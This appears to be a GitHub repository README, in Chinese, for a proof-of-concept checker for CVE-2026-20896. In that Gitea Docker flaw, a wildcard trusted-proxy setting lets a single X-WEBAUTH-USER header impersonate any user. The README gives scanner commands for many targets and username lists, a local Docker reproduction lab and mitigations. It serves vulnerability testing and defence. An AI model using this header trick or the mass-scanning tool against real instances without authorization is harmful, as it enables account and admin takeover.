szybnev/cve-2026-20896-gitea-poc
GitHub: szybnev/cve-2026-20896-gitea-poc
检测 Gitea Docker 镜像在启用反向代理身份验证时因信任所有代理 IP 而导致的身份验证绕过漏洞(CVE-2026-20896)。
Stars: 9 | Forks: 0
# CVE-2026-20896 Gitea Docker 身份验证绕过检测工具
仅供授权的红队 / 渗透测试操作使用。
本仓库包含针对 CVE-2026-20896 的一个简易检测工具。该漏洞是在启用了反向代理身份验证的情况下,版本号至 `1.26.2` 及之前的官方 Gitea Docker 镜像中存在的身份验证绕过漏洞。
## CVE-2026-20896 简介
受影响的 Gitea Docker 镜像随附的 `app.ini` 模板包含以下内容:
```
REVERSE_PROXY_TRUSTED_PROXIES = *
```
当管理员启用以下配置时:
```
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
```
Gitea 会信任来自任何可直接访问容器 HTTP 端口的源 IP 的 `X-WEBAUTH-USER` 标头。如果客户端绕过了预期的身份验证反向代理,只需发送单个标头即可冒充已知或可猜测的用户。
其实际影响是未经身份验证的账户冒充。如果被冒充的用户是管理员,最坏的情况是 Gitea 实例及其代码库面临完全的应用层级接管。主机级别的 RCE 取决于具体环境,本检测工具不作相关声明。
修复版本从 `1.26.3` 开始;建议升级至 `1.26.4` 或更高版本。
## PoC 工作原理
该检测工具会执行以下操作:
1. 获取目标主页。
2. 查找如 `Powered by Gitea Version: 1.26.4` 的页脚文本。
3. 如果解析到的版本为 `>= 1.26.3`,则默认跳过测试。
4. 针对提供的每个用户名,发送带有 `X-WEBAUTH-USER: ` 标头的 `GET /` 请求。
5. 当返回的页面标题显示为该用户已登录的仪表板时,报告命中。
Go 版本支持多目标、用户名文件、并发、超时、JSONL 输出、TLS `--insecure`、`--dry-run` 和 `--force`。
## 编译
```
go build -o gitea-cve-2026-20896-check .
```
无需任何第三方 Go 依赖。
## 用法
单个目标:
```
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
```
多个目标和用户名:
```
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
```
空运行:
```
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
```
Bash 备选方案:
```
./poc.sh --url http://localhost:3000 --users admin,alice
```
## 退出代码
- `0`:确认至少存在一个易受攻击的冒充行为
- `1`:未确认存在易受攻击的冒充行为
- `2`:用法、输入或运行时错误
## 本地复现实验
以下实验步骤将启动一个受影响的本地 Gitea 容器,并创建一个测试用户:
```
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email alice@example.test \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
```
预期为阳性的结果:
```
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
```
清理:
```
docker rm -f gitea-cve-2026-20896
```
## 缓解措施
- 将 Gitea 升级至 `1.26.3` 或更高版本;推荐升级至 `1.26.4` 或更高版本。
- 不要将后端 Gitea 容器的 HTTP 端口直接暴露给不受信任的网络。
- 明确配置受信任的反向代理。
- 除非已明确网络路径和代理信任边界,否则请保持反向代理身份验证处于禁用状态。
## 参考
- Gitea 安全公告:
- Gitea `1.26.3` / `1.26.4` 版本发布公告:
- 修复 PR:
- CVE 记录:
- 通过 The Hacker News / Sysdig 遥测发布的野外探测报告:
标签:CISA项目, EVTX分析, Gitea, Go语言, 云原生安全, 安全研究, 应用安全, 日志审计, 程序破解, 请求拦截, 身份认证绕过